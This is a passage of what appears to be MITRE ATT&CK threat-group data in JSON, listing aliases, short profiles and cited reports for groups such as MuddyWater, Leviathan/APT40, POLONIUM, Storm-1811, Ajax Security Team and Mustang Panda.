                    "source_name": "FireEye APT39 Jan 2019",
                    "description": "Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html"
                },
                {
                    "source_name": "Dark Reading APT39 JAN 2019",
                    "description": "Higgins, K. (2019, January 30). Iran Ups its Traditional Cyber Espionage Tradecraft. Retrieved May 22, 2020.",
                    "url": "https://www.darkreading.com/attacks-breaches/iran-ups-its-traditional-cyber-espionage-tradecraft/d/d-id/1333764"
                },
                {
                    "source_name": "Symantec Chafer Dec 2015",
                    "description": "Symantec Security Response. (2015, December 7). Iran-based attackers use back door threats to spy on Middle Eastern targets. Retrieved April 17, 2019.",
                    "url": "https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets"
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                {
                    "source_name": "Cloudflare 2026 Threat Report New Threat Actors March 2026",
                    "description": " Cloudflare. (2026, March 3). Introducing the 2026 Cloudflare Threat Report. Retrieved April 18, 2026.",
                    "url": "https://blog.cloudflare.com/2026-threat-report/"
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                {
                    "source_name": "MERCURY",
                    "description": "(Citation: Anomali Static Kitten February 2021)"
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                    "description": "(Citation: Anomali Static Kitten February 2021)(Citation: Trend Micro Muddy Water March 2021)"
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                    "description": "(Citation: Cloudflare 2026 Threat Report New Threat Actors March 2026)"
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                    "source_name": "TEMP.Zagros",
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                    "source_name": "Mango Sandstorm",
                    "description": "(Citation: Microsoft Threat Actor Naming July 2023)"
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                {
                    "source_name": "TA450",
                    "description": "(Citation: Proofpoint TA450 Phishing March 2024)"
                },
                {
                    "source_name": "Seedworm",
                    "description": "(Citation: Symantec MuddyWater Dec 2018)(Citation: Anomali Static Kitten February 2021)(Citation: Trend Micro Muddy Water March 2021)"
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                {
                    "source_name": "Earth Vetala",
                    "description": "(Citation: Trend Micro Muddy Water March 2021)"
                },
                {
                    "source_name": "MuddyWater",
                    "description": "(Citation: Unit 42 MuddyWater Nov 2017)(Citation: Symantec MuddyWater Dec 2018)"
                },
                {
                    "source_name": "ClearSky MuddyWater Nov 2018",
                    "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf"
                },
                {
                    "source_name": "ClearSky MuddyWater June 2019",
                    "description": "ClearSky. (2019, June). Iranian APT group \u2018MuddyWater\u2019 Adds Exploits to Their Arsenal. Retrieved May 14, 2020.",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2019/06/Clearsky-Iranian-APT-group-%E2%80%98MuddyWater%E2%80%99-Adds-Exploits-to-Their-Arsenal.pdf"
                },
                {
                    "source_name": "CYBERCOM Iranian Intel Cyber January 2022",
                    "description": "Cyber National Mission Force. (2022, January 12). Iranian intel cyber suite of malware uses open source tools. Retrieved September 30, 2022.",
                    "url": "https://www.cybercom.mil/Media/News/Article/2897570/iranian-intel-cyber-suite-of-malware-uses-open-source-tools/"
                },
                {
                    "source_name": "ESET_MuddyWater_Dec2025",
                    "description": "ESET Research. (2025, December 2). MuddyWater: Snakes by the riverbank. Retrieved February 17, 2026.",
                    "url": "https://www.welivesecurity.com/en/eset-research/muddywater-snakes-riverbank/"
                },
                {
                    "source_name": "FalconFeeds_Iran_Mar2026",
                    "description": "FalconFeeds.io. (2026, March 5). The Digital Redoubt: Iran\u2019s National Information Network and the Asymmetry of Modern Cyber Conflict. Retrieved March 9, 2026.",
                    "url": "https://falconfeeds.io/blogs/the-digital-redoubt-irans-national-information-network-cyber-conflict"
                },
                {
                    "source_name": "DHS CISA AA22-055A MuddyWater February 2022",
                    "description": "FBI, CISA, CNMF, NCSC-UK. (2022, February 24). Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks. Retrieved September 27, 2022.",
                    "url": "https://www.cisa.gov/uscert/ncas/alerts/aa22-055a"
                },
                {
                    "source_name": "Huntio_IranInfra_Mar2026",
                    "description": "Hunt.io. (2026, March 4). Iranian APT Infrastructure in Focus:  Mapping State-Aligned Clusters During Geopolitical Escalation. Retrieved April 16, 2026.",
                    "url": "https://hunt.io/blog/iranian-apt-infrastructure-state-aligned-clusters"
                },
                {
                    "source_name": "Unit 42 MuddyWater Nov 2017",
                    "description": "Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/"
                },
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                    "source_name": "Talos MuddyWater Jan 2022",
                    "description": "Malhortra, A and Ventura, V. (2022, January 31). Iranian APT MuddyWater targets Turkish users via malicious PDFs, executables. Retrieved June 22, 2022.",
                    "url": "https://blog.talosintelligence.com/2022/01/iranian-apt-muddywater-targets-turkey.html"
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                    "source_name": "Anomali Static Kitten February 2021",
                    "description": "Mele, G. et al. (2021, February 10). Probable Iranian Cyber Actors, Static Kitten, Conducting Cyberespionage Campaign Targeting UAE and Kuwait Government Agencies. Retrieved March 17, 2021.",
                    "url": "https://www.anomali.com/blog/probable-iranian-cyber-actors-static-kitten-conducting-cyberespionage-campaign-targeting-uae-and-kuwait-government-agencies"
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                {
                    "source_name": "Microsoft Threat Actor Naming July 2023",
                    "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.",
                    "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"
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                {
                    "source_name": "Proofpoint TA450 Phishing March 2024",
                    "description": "Miller, J. et al. (2024, March 21). Security Brief: TA450 Uses Embedded Links in PDF Attachments in Latest Campaign. Retrieved March 27, 2024.",
                    "url": "https://www.proofpoint.com/us/blog/threat-insight/security-brief-ta450-uses-embedded-links-pdf-attachments-latest-campaign"
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                    "description": "Naumaan, S., et al. (2025, April 17). Around the World in 90 Days: State-Sponsored Actors Try ClickFix . Retrieved January 21, 2026.",
                    "url": "https://www.proofpoint.com/us/blog/threat-insight/around-world-90-days-state-sponsored-actors-try-clickfix"
                },
                {
                    "source_name": "Trend Micro Muddy Water March 2021",
                    "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021.",
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                    "source_name": "Reaqta MuddyWater November 2017",
                    "description": "Reaqta. (2017, November 22). A dive into MuddyWater APT targeting Middle-East. Retrieved May 18, 2020.",
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                    "source_name": "FireEye MuddyWater Mar 2018",
                    "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.",
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                {
                    "source_name": "Symantec MuddyWater Dec 2018",
                    "description": "Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018.",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group"
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                    "source_name": "SymantecCarbonBlack_Seedworm_Mar2026",
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                    "description": "(Citation: CrowdStrike Stardust Chollima Profile April 2018)(Citation: CrowdStrike GTR 2021 June 2021)"
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                    "description": "Department of Justice. (2021, February 17). Three North Korean Military Hackers Indicted in Wide-Ranging Scheme to Commit Cyberattacks and Financial Crimes Across the Globe. Retrieved June 9, 2021.",
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                    "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 17, 2024.",
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                    "description": "SecureWorks. (2021, September 29). NICKEL GLADSTONE Threat Profile. Retrieved September 29, 2021.",
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                    "description": "Dedola, G. (2020, August 20). Transparent Tribe: Evolution analysis, part 1. Retrieved September 2, 2021.",
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                    "description": "Falcone, R. and Conant S. (2016, March 25). ProjectM: Link Found Between Pakistani Actor and Operation Transparent Tribe. Retrieved September 2, 2021.",
                    "url": "https://unit42.paloaltonetworks.com/unit42-projectm-link-found-between-pakistani-actor-and-operation-transparent-tribe/"
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                    "source_name": "Proofpoint Operation Transparent Tribe March 2016",
                    "description": "Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.",
                    "url": "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf"
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                    "source_name": "Talos Transparent Tribe May 2021",
                    "description": "Malhotra, A. et al. (2021, May 13). Transparent Tribe APT expands its Windows malware arsenal. Retrieved September 2, 2021.",
                    "url": "https://blog.talosintelligence.com/2021/05/transparent-tribe-infra-and-targeting.html"
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                    "source_name": "Secureworks COPPER FIELDSTONE Profile",
                    "description": "Secureworks. (n.d.). COPPER FIELDSTONE. Retrieved October 6, 2021.",
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            "description": "[APT32](https://attack.mitre.org/groups/G0050) is a suspected Vietnam-based threat group that has been active since at least 2014. The group has targeted multiple private sector industries as well as foreign governments, dissidents, and journalists with a strong focus on Southeast Asian countries like Vietnam, the Philippines, Laos, and Cambodia. They have extensively used strategic web compromises to compromise victims.(Citation: FireEye APT32 May 2017)(Citation: Volexity OceanLotus Nov 2017)(Citation: ESET OceanLotus)",
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                    "description": "Folt\u00fdn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.",
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            "modified": "2025-04-25T14:48:57.719Z",
            "name": "BRONZE BUTLER",
            "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) is a cyber espionage group with likely Chinese origins that has been active since at least 2008. The group primarily targets Japanese organizations, particularly those in government, biotechnology, electronics manufacturing, and industrial chemistry.(Citation: Trend Micro Daserf Nov 2017)(Citation: Secureworks BRONZE BUTLER Oct 2017)(Citation: Trend Micro Tick November 2019)",
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                "BRONZE BUTLER",
                "REDBALDKNIGHT",
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            "modified": "2024-01-08T21:56:22.594Z",
            "name": "POLONIUM",
            "description": "[POLONIUM](https://attack.mitre.org/groups/G1005) is a Lebanon-based group that has primarily targeted Israeli organizations, including critical manufacturing, information technology, and defense industry companies, since at least February 2022. Security researchers assess [POLONIUM](https://attack.mitre.org/groups/G1005) has coordinated their operations with multiple actors affiliated with Iran\u2019s Ministry of Intelligence and Security (MOIS), based on victim overlap as well as common techniques and tooling.(Citation: Microsoft POLONIUM June 2022)",
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                    "source_name": "Plaid Rain",
                    "description": "(Citation: Microsoft Threat Actor Naming July 2023)"
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                    "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.",
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                    "source_name": "Microsoft POLONIUM June 2022",
                    "description": "Microsoft. (2022, June 2). Exposing POLONIUM activity and infrastructure targeting Israeli organizations. Retrieved July 1, 2022.",
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                    "source_name": "Mulberry Typhoon",
                    "description": "(Citation: Microsoft Threat Actor Naming July 2023)(Citation: Microsoft East Asia Threats September 2023)"
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                    "source_name": "MANGANESE",
                    "description": "(Citation: Microsoft Threat Actor Naming July 2023)(Citation: NSA APT5 Citrix Threat Hunting December 2022)"
                },
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                    "source_name": "Keyhole Panda",
                    "description": "(Citation: Microsoft Threat Actor Naming July 2023)(Citation: Secureworks BRONZE FLEETWOOD Profile)"
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                    "source_name": "UNC2630",
                    "description": "(Citation: NSA APT5 Citrix Threat Hunting December 2022)"
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                    "source_name": "BRONZE FLEETWOOD",
                    "description": "(Citation: Secureworks BRONZE FLEETWOOD Profile)"
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                    "source_name": "FireEye Southeast Asia Threat Landscape March 2015",
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                    "source_name": "Mandiant Advanced Persistent Threats",
                    "description": "Mandiant. (n.d.). Advanced Persistent Threats (APTs). Retrieved February 14, 2024.",
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                },
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                    "source_name": "Microsoft Threat Actor Naming July 2023",
                    "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.",
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                    "source_name": "Microsoft East Asia Threats September 2023",
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                    "source_name": "NSA APT5 Citrix Threat Hunting December 2022",
                    "description": "National Security Agency. (2022, December). APT5: Citrix ADC Threat Hunting Guidance. Retrieved February 5, 2024.",
                    "url": "https://media.defense.gov/2022/Dec/13/2003131586/-1/-1/0/CSA-APT5-CITRIXADC-V1.PDF"
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                {
                    "source_name": "Mandiant Pulse Secure Zero-Day April 2021",
                    "description": "Perez, D. et al. (2021, April 20). Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day. Retrieved February 5, 2024.",
                    "url": "https://www.mandiant.com/resources/blog/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day"
                },
                {
                    "source_name": "Mandiant Pulse Secure Update May 2021",
                    "description": "Perez, D. et al. (2021, May 27). Re-Checking Your Pulse: Updates on Chinese APT Actors Compromising Pulse Secure VPN Devices. Retrieved February 5, 2024.",
                    "url": "https://www.mandiant.com/resources/blog/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices"
                },
                {
                    "source_name": "Secureworks BRONZE FLEETWOOD Profile",
                    "description": "Secureworks CTU. (n.d.). BRONZE FLEETWOOD. Retrieved February 5, 2024.",
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                    "url": "https://attack.mitre.org/groups/G0135",
                    "external_id": "G0135"
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                {
                    "source_name": "ESET BackdoorDiplomacy Jun 2021",
                    "description": "Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. Retrieved September 1, 2021",
                    "url": "https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/"
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            "name": "BackdoorDiplomacy",
            "description": "[BackdoorDiplomacy](https://attack.mitre.org/groups/G0135) is a cyber espionage threat group that has been active since at least 2017. [BackdoorDiplomacy](https://attack.mitre.org/groups/G0135) has targeted Ministries of Foreign Affairs and telecommunication companies in Africa, Europe, the Middle East, and Asia.(Citation: ESET BackdoorDiplomacy Jun 2021)",
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            "modified": "2025-02-03T21:55:54.314Z",
            "name": "Leviathan",
            "description": "[Leviathan](https://attack.mitre.org/groups/G0065) is a Chinese state-sponsored cyber espionage group that has been attributed to the Ministry of State Security's (MSS) Hainan State Security Department and an affiliated front company.(Citation: CISA AA21-200A APT40 July 2021) Active since at least 2009, [Leviathan](https://attack.mitre.org/groups/G0065) has targeted the following sectors: academia, aerospace/aviation, biomedical, defense industrial base, government, healthcare, manufacturing, maritime, and transportation across the US, Canada, Australia, Europe, the Middle East, and Southeast Asia.(Citation: CISA AA21-200A APT40 July 2021)(Citation: Proofpoint Leviathan Oct 2017)(Citation: FireEye Periscope March 2018)(Citation: CISA Leviathan 2024)",
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            "created": "2018-04-18T17:59:24.739Z",
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                {
                    "source_name": "MUDCARP",
                    "description": "(Citation: CISA AA21-200A APT40 July 2021)(Citation: Accenture MUDCARP March 2019)"
                },
                {
                    "source_name": "Kryptonite Panda",
                    "description": "(Citation: CISA AA21-200A APT40 July 2021)(Citation: Crowdstrike KRYPTONITE PANDA August 2018)"
                },
                {
                    "source_name": "Gadolinium",
                    "description": "(Citation: CISA AA21-200A APT40 July 2021)(Citation: MSTIC GADOLINIUM September 2020)"
                },
                {
                    "source_name": "BRONZE MOHAWK",
                    "description": "(Citation: CISA AA21-200A APT40 July 2021)(Citation: SecureWorks BRONZE MOHAWK n.d.)"
                },
                {
                    "source_name": "Gingham Typhoon",
                    "description": "(Citation: Microsoft Threat Actor Naming July 2023)"
                },
                {
                    "source_name": "Leviathan",
                    "description": "(Citation: Proofpoint Leviathan Oct 2017)"
                },
                {
                    "source_name": "TEMP.Jumper",
                    "description": "[Leviathan](https://attack.mitre.org/groups/G0065) was previously reported upon by FireEye as TEMP.Periscope and TEMP.Jumper.(Citation: CISA AA21-200A APT40 July 2021)(Citation: FireEye APT40 March 2019)"
                },
                {
                    "source_name": "TEMP.Periscope",
                    "description": "[Leviathan](https://attack.mitre.org/groups/G0065) was previously reported upon by FireEye as TEMP.Periscope and TEMP.Jumper.(Citation: CISA AA21-200A APT40 July 2021)(Citation: FireEye Periscope March 2018)(Citation: FireEye APT40 March 2019)"
                },
                {
                    "source_name": "Accenture MUDCARP March 2019",
                    "description": "Accenture iDefense Unit. (2019, March 5). Mudcarp's Focus on Submarine Technologies. Retrieved August 24, 2021.",
                    "url": "https://www.accenture.com/us-en/blogs/cyber-defense/mudcarps-focus-on-submarine-technologies"
                },
                {
                    "source_name": "Crowdstrike KRYPTONITE PANDA August 2018",
                    "description": "Adam Kozy. (2018, August 30). Two Birds, One Stone Panda. Retrieved August 24, 2021.",
                    "url": "https://www.crowdstrike.com/blog/two-birds-one-stone-panda/"
                },
                {
                    "source_name": "Proofpoint Leviathan Oct 2017",
                    "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets"
                },
                {
                    "source_name": "MSTIC GADOLINIUM September 2020",
                    "description": "Ben Koehl, Joe Hannon. (2020, September 24). Microsoft Security - Detecting Empires in the Cloud. Retrieved August 24, 2021.",
                    "url": "https://www.microsoft.com/security/blog/2020/09/24/gadolinium-detecting-empires-cloud/"
                },
                {
                    "source_name": "CISA Leviathan 2024",
                    "description": "CISA et al. (2024, July 8). People\u2019s Republic of China (PRC) Ministry of State Security APT40 Tradecraft in Action. Retrieved February 3, 2025.",
                    "url": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-190a"
                },
                {
                    "source_name": "CISA AA21-200A APT40 July 2021",
                    "description": "CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory \u2013 Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China\u2019s MSS Hainan State Security Department. Retrieved August 12, 2021.",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-200a"
                },
                {
                    "source_name": "APT40",
                    "description": "FireEye reporting on TEMP.Periscope (which was combined into APT40) indicated TEMP.Periscope was reported upon as Leviathan.(Citation: CISA AA21-200A APT40 July 2021)(Citation: Proofpoint Leviathan Oct 2017)(Citation: FireEye Periscope March 2018)(Citation: FireEye APT40 March 2019)"
                },
                {
                    "source_name": "FireEye Periscope March 2018",
                    "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"
                },
                {
                    "source_name": "Microsoft Threat Actor Naming July 2023",
                    "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.",
                    "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"
                },
                {
                    "source_name": "FireEye APT40 March 2019",
                    "description": "Plan, F., et al. (2019, March 4). APT40: Examining a China-Nexus Espionage Actor. Retrieved March 18, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/03/apt40-examining-a-china-nexus-espionage-actor.html"
                },
                {
                    "source_name": "SecureWorks BRONZE MOHAWK n.d.",
                    "description": "SecureWorks. (n.d.). Threat Profile - BRONZE MOHAWK. Retrieved August 24, 2021.",
                    "url": "https://www.secureworks.com/research/threat-profiles/bronze-mohawk"
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            "modified": "2025-03-14T19:17:33.785Z",
            "name": "Storm-1811",
            "description": "[Storm-1811](https://attack.mitre.org/groups/G1046) is a financially-motivated entity linked to [Black Basta](https://attack.mitre.org/software/S1070) ransomware deployment. [Storm-1811](https://attack.mitre.org/groups/G1046) is notable for unique phishing and social engineering mechanisms for initial access, such as overloading victim email inboxes with non-malicious spam to prompt a fake \"help desk\" interaction leading to the deployment of adversary tools and capabilities.(Citation: Microsoft Storm-1811 2024)(Citation: rapid7-email-bombing)(Citation: RedCanary Storm-1811 2024)(Citation: RedCanary June Insights 2024)",
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            "created": "2025-03-14T12:48:44.771Z",
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                    "external_id": "G1046"
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                {
                    "source_name": "Microsoft Storm-1811 2024",
                    "description": "Microsoft Threat Intelligence. (2024, May 15). Threat actors misusing Quick Assist in social engineering attacks leading to ransomware. Retrieved March 14, 2025.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2024/05/15/threat-actors-misusing-quick-assist-in-social-engineering-attacks-leading-to-ransomware/"
                },
                {
                    "source_name": "RedCanary Storm-1811 2024",
                    "description": "Red Canary Intelligence. (2024, December 2). Storm-1811 exploits RMM tools to drop Black Basta ransomware. Retrieved March 14, 2025.",
                    "url": "https://redcanary.com/blog/threat-intelligence/storm-1811-black-basta/"
                },
                {
                    "source_name": "RedCanary June Insights 2024",
                    "description": "The Red Canary Team. (2024, June 20). Intelligence Insights: June 2024. Retrieved March 14, 2025.",
                    "url": "https://redcanary.com/blog/threat-intelligence/intelligence-insights-june-2024/"
                },
                {
                    "source_name": "rapid7-email-bombing",
                    "description": "Tyler McGraw, Thomas Elkins, and Evan McCann. (2024, May 10). Ongoing Social Engineering Campaign Linked to Black Basta Ransomware Operators. Retrieved January 31, 2025.",
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            "modified": "2023-10-09T16:46:55.719Z",
            "name": "Ajax Security Team",
            "description": "[Ajax Security Team](https://attack.mitre.org/groups/G0130) is a group that has been active since at least 2010 and believed to be operating out of Iran. By 2014 [Ajax Security Team](https://attack.mitre.org/groups/G0130) transitioned from website defacement operations to malware-based cyber espionage campaigns targeting the US defense industrial base and Iranian users of anti-censorship technologies.(Citation: FireEye Operation Saffron Rose 2013)",
            "aliases": [
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            "created": "2021-04-14T13:17:43.941Z",
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                    "url": "https://attack.mitre.org/groups/G0130",
                    "external_id": "G0130"
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                {
                    "source_name": "Flying Kitten",
                    "description": "(Citation: CrowdStrike Flying Kitten )"
                },
                {
                    "source_name": "AjaxTM",
                    "description": "(Citation: FireEye Operation Saffron Rose 2013)"
                },
                {
                    "source_name": "Operation Saffron Rose",
                    "description": "(Citation: FireEye Operation Saffron Rose 2013)"
                },
                {
                    "source_name": "Rocket Kitten",
                    "description": "Analysis of infrastructure, tools, and modes of operation revealed a potential relationship between [Ajax Security Team](https://attack.mitre.org/groups/G0130) and Rocket Kitten.(Citation: Check Point Rocket Kitten)(Citation: IranThreats Kittens Dec 2017)"
                },
                {
                    "source_name": "Operation Woolen-Goldfish",
                    "description": "Analysis of infrastructure, tools, and modes of operation revealed a potential relationship between [Ajax Security Team](https://attack.mitre.org/groups/G0130) and the campaign Operation Woolen-Goldfish.(Citation: Check Point Rocket Kitten)(Citation: TrendMicro Operation Woolen Goldfish March 2015)"
                },
                {
                    "source_name": "TrendMicro Operation Woolen Goldfish March 2015",
                    "description": "Cedric Pernet, Kenney Lu. (2015, March 19). Operation Woolen-Goldfish - When Kittens Go phishing. Retrieved April 21, 2021.",
                    "url": "https://documents.trendmicro.com/assets/wp/wp-operation-woolen-goldfish.pdf"
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                    "description": "Dahl, M.. (2014, May 13). Cat Scratch Fever: CrowdStrike Tracks Newly Reported Iranian Actor as FLYING KITTEN. Retrieved May 27, 2020.",
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                    "source_name": "BushidoToken Akira 2023",
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                {
                    "source_name": "Palo Alto Howling Scorpius DEC 2024",
                    "description": "Zemah, Y. (2024, December 2). Threat Assessment: Howling Scorpius (Akira Ransomware). Retrieved January 8, 2025.",
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                    "source_name": "Cloudflare 2026 Threat Report New Threat Actors March 2026",
                    "description": " Cloudflare. (2026, March 3). Introducing the 2026 Cloudflare Threat Report. Retrieved April 18, 2026.",
                    "url": "https://blog.cloudflare.com/2026-threat-report/"
                },
                {
                    "source_name": "EARTH PRETA",
                    "description": "(Citation: 2022 November_TrendMicro_Earth Preta_Toneshell_Pubload)(Citation: Trend Micro MUSTANG PANDA PUBLOAD HIUPAN SEPTEMBER 2024)(Citation: Trend Micro Mustang Panda Earth Preta Toneshell February 2025)(Citation: Trend Micro Mustang Panda Earth Preta TONESHELL June 2023)"
                },
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                    "source_name": "FIREANT",
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                    "source_name": "TEMP.Hex",
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                },
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                    "source_name": "CAMARO DRAGON",
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                    "description": "(Citation: Palo Alto Networks, Unit 42)(Citation: Unit42 Bookworm Nov2015)(Citation: Unit42 Chinese VSCode 06 September 2024)(Citation: Broadcom)(Citation: Palo Alto Unit42 STATELY TAURUS TONESHELL September 2023)(Citation: CSIRT CTI MUSTANG PANDA PUBLOAD TONESHELL JAN 2024)"
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                    "source_name": "TA416",
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                    "description": "(Citation: PWC UK MUSTANG PANDA RED LICH February 2021)"
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                    "source_name": "RedDelta",
                    "description": "(Citation: Recorded Future REDDELTA July 2020)(Citation: Proofpoint TA416 Europe March 2022)"
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                    "source_name": "BRONZE PRESIDENT",
                    "description": "(Citation: Secureworks BRONZE PRESIDENT December 2019)(Citation: Sophos PlugX September 2022)(Citation: Sophos Mustang Panda PLUGX)"
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                    "source_name": "Eset PlugX Korplug Mustang Panda March 2022",
                    "description": "Alexandre Cote Cyr. (2022, March 23). Mustang Panda\u2019s Hodur: Old tricks, new Korplug variant. Retrieved September 9, 2025.",
                    "url": "https://www.welivesecurity.com/2022/03/23/mustang-panda-hodur-old-tricks-new-korplug-variant/"
                },
                {
                    "source_name": "Anomali MUSTANG PANDA October 2019",
                    "description": "Anomali Threat Research. (2019, October 7). China-Based APT Mustang Panda Targets Minority Groups, Public and Private Sector Organizations. Retrieved April 12, 2021.",
                    "url": "https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations"
                },
                {
                    "source_name": "Cisco Talos MUSTANG PANDA PLUGX PUBLOAD MAY 2022",
                    "description": "Asheer Malhotra, Jungsoo An, Kendall Mc. (2022, May 5). Mustang Panda deploys a new wave of malware targeting Europe. Retrieved August 4, 2025.",
                    "url": "https://blog.talosintelligence.com/mustang-panda-targets-europe/"
                },
                {
                    "source_name": "Broadcom",
                    "description": "Broadcom Protection Bulletins. (2025, February 20). Bookworm malware linked to Fireant (aka Stately Tarurus) activity observed in Southeast Asia. Retrieved July 21, 2025.",
                    "url": "https://www.broadcom.com/support/security-center/protection-bulletin/bookworm-malware-linked-to-fireant-aka-stately-tarurus-activity-observed-in-southeast-asia"
                },
                {
                    "source_name": "HorseShell",
                    "description": "Cohen, Itay. Madej, Radoslaw. Threat Intelligence Team. (2023, May 16). THE DRAGON WHO SOLD HIS CAMARO: ANALYZING CUSTOM ROUTER IMPLANT. Retrieved December 26, 2023.",
                    "url": "https://research.checkpoint.com/2023/the-dragon-who-sold-his-camaro-analyzing-custom-router-implant/"
                },
                {
                    "source_name": "Secureworks BRONZE PRESIDENT December 2019",
                    "description": "Counter Threat Unit Research Team. (2019, December 29). BRONZE PRESIDENT Targets NGOs. Retrieved April 13, 2021.",
                    "url": "https://www.secureworks.com/research/bronze-president-targets-ngos"
                },
                {
                    "source_name": "CSIRT CTI MUSTANG PANDA PUBLOAD TONESHELL JAN 2024",
                    "description": "CSIRT CTI. (2024, January 23). Stately Taurus Targets Myanmar Amidst Concerns over Military Junta\u2019s Handling of Rebel Attacks. Retrieved August 4, 2025.",
                    "url": "https://csirt-cti.net/2024/01/23/stately-taurus-targets-myanmar/"
                },
                {
                    "source_name": "DOJ Affidavit Search and Seizure PlugX December 2024",
                    "description": "DOJ. (2024, December 20). Mag. No. 24-mj-1387 AFFIDAVIT IN SUPPORT OF AN APPLICATION  FOR A NINTH SEARCH AND SEIZURE WARRANT- IN THE MATTER OF THE SEARCH AND  SEIZURE OF COMPUTERS IN THE  UNITED STATES INFECTED WITH  PLUGX MALWARE . Retrieved September 9, 2025.",
                    "url": "https://www.justice.gov/archives/opa/media/1384136/dl"
                },
                {
                    "source_name": "EclecticIQ Mustang Panda PlugX",
                    "description": "EclecticIQ Threat Research Team. (2023, February 2). Mustang Panda APT Group Uses European Commission-Themed Lure to Deliver PlugX Malware. Retrieved September 9, 2025.",
                    "url": "https://blog.eclecticiq.com/mustang-panda-apt-group-uses-european-commission-themed-lure-to-deliver-plugx-malware"
                },
                {
                    "source_name": "IBM MUSTANG PANDA PUBLOAD CLAIMLOADER JUNE 2025",
                    "description": "Golo Muhr, Joshua Chung. (2025, June 23). Hive0154 aka Mustang Panda shifts focus on Tibetan community to deploy Pubload backdoor. Retrieved August 4, 2025.",
                    "url": "https://www.ibm.com/think/x-force/hive0154-mustang-panda-shifts-focus-tibetan-community-deploy-pubload-backdoor"
                },
                {
                    "source_name": "2025_IBM_PUBLOAD_TONESHELL_HIUPAN_CLAIMLOADER_MUSTANG PANDA",
                    "description": "Golo Muhr, Joshua Chung. (2025, May 15). Hive0154 targeting US, Philippines, Pakistan and Taiwan in suspected espionage campaign. Retrieved August 4, 2025.",
                    "url": "https://www.ibm.com/think/x-force/hive0154-targeting-us-philippines-pakistan-taiwan"
                },
                {
                    "source_name": "Recorded Future REDDELTA July 2020",
                    "description": "Insikt Group. (2020, July 28). CHINESE STATE-SPONSORED GROUP \u2018REDDELTA\u2019 TARGETS THE VATICAN AND CATHOLIC ORGANIZATIONS. Retrieved April 13, 2021.",
                    "url": "https://go.recordedfuture.com/hubfs/reports/cta-2020-0728.pdf"
                },
                {
                    "source_name": "ATTACKIQ MUSTANG PANDA TONESHELL March 2023",
                    "description": "Ken Towne, Francis Guibernau. (2023, March 23). Emulating the Politically Motivated Chinese APT Mustang Panda. Retrieved September 10, 2025.",
                    "url": "https://www.attackiq.com/2023/03/23/emulating-the-politically-motivated-chinese-apt-mustang-panda/"
                },
                {
                    "source_name": "Trend Micro MUSTANG PANDA PUBLOAD HIUPAN SEPTEMBER 2024",
                    "description": "Lenart Bermejo, Sunny Lu, Ted Lee. (2024, September 9). Earth Preta Evolves its Attacks with New Malware and Strategies. Retrieved August 4, 2025.",
                    "url": "https://www.trendmicro.com/en_us/research/24/i/earth-preta-new-malware-and-strategies.html"
                },
                {
                    "source_name": "Palo Alto Unit42 STATELY TAURUS TONESHELL September 2023",
